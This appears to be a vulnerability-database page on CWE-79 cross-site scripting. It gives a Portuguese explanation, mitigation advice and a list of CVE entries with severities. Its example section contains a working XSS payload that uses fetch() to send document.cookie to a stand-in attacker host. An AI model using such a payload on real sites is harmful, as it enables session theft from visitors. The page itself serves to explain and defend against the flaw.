Fallos del tipo CWE-79

30.294 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2019-16149MEDIUMAn Improper Neutralization of Input During Web Page Generation in FortiClientEMS version 6.2.0 may allow a remote attacker to execute unauthEPSS 0.3%CVE-2025-48094HIGHWordPress Magic Slider plugin <= 2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49640HIGHWordPress ACL Floating Cart for WooCommerce plugin <= 0.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2021-23288MEDIUMSecurity issues in Intelligent Power ProtectorEPSS 0.3%CVE-2019-25398MEDIUMIPFire 2.21 Core Update 127 Cross-Site Scripting via ovpnmain.cgiEPSS 0.3%CVE-2025-22142MEDIUMCross-site Scripting in NamelessMCEPSS 0.3%CVE-2024-35737HIGHWordPress WP Visitors Tracker plugin <= 2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-55029MEDIUMNASA Fprime v3.4.3 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities.EPSS 0.3%CVE-2026-59670MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.3%CVE-2026-59666MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.3%CVE-2024-31414MEDIUMThe Eaton Foreseer software provides users the capability to customize the dashboard in WebView pages. However, the input fields for this feEPSS 0.3%CVE-2025-23111MEDIUMAn issue was discovered in REDCap 14.9.6. It allows HTML Injection via the Survey field name, exposing users to a redirection to a phishing EPSS 0.3%CVE-2019-25397MEDIUMIPFire 2.21 Core Update 127 Cross-Site Scripting via hosts.cgiEPSS 0.3%CVE-2024-45451MEDIUMWordPress Roseta theme <= 1.3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49641HIGHWordPress Tida URL Screenshot plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-59671MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.3%CVE-2026-18243MEDIUMHP DesignJet T3500 - Potential Cross-Site Scripting (XSS)EPSS 0.3%CVE-2026-30587MEDIUMMultiple Stored XSS vulnerabilities exist in Seafile Server version 13.0.15,13.0.16-pro,12.0.14 and prior and fixed in 13.0.17, 13.0.17-pro,EPSS 0.3%CVE-2024-35668HIGHWordPress Newsletter, SMTP, Email marketing and Subscribe forms by Brevo plugin <= 3.1.77 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-4085MEDIUMEasy Social Photos Gallery <= 3.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wrapper_class' Shortcode AttributeEPSS 0.3%